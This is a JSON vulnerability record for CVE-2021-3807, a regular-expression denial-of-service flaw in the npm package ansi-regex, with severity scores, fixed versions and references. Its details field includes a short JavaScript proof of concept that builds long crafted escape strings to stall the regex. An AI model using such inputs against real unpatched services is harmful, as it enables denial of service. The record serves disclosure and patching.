{"id":"CVE-2021-3807","aliases":["GHSA-93q8-gq69-wqmw"],"url":"https://o3.security/vulnerability/CVE-2021-3807","summary":"Inefficient Regular Expression Complexity in chalk/ansi-regex","details":"ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.\n\n**Proof of Concept**\n```js\nimport ansiRegex from 'ansi-regex';\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\n    ansiRegex().test(attack_str)\n    var time_cost = Date.now() - time;\n    console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n}\n```\nThe ReDOS is mainly due to the sub-patterns `[[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`","published":"2021-09-17T07:15:09.273Z","modified":"2026-10-20T10:53:52.178864089Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.03552,"percentile":0.88672,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"ansi-regex","fixedVersion":"6.0.1"},{"ecosystem":"npm","name":"ansi-regex","fixedVersion":"5.0.1"},{"ecosystem":"npm","name":"ansi-regex","fixedVersion":"4.1.1"},{"ecosystem":"npm","name":"ansi-regex","fixedVersion":"3.0.1"}],"fix":{"url":"https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9","label":"chalk/ansi-regex@8d1d7cd"},"references":[{"type":"ADVISORY","url":"https://security.netapp.com/advisory/ntap-20221014-0002/"},{"type":"FIX","url":"https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9"},{"type":"FIX","url":"https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994"},{"type":"FIX","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3807"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8"},{"type":"WEB","url":"https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908"},{"type":"PACKAGE","url":"https://github.com/chalk/ansi-regex"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/releases/tag/v6.0.1"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20221014-0002"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-20T10:53:52.178864089Z"}}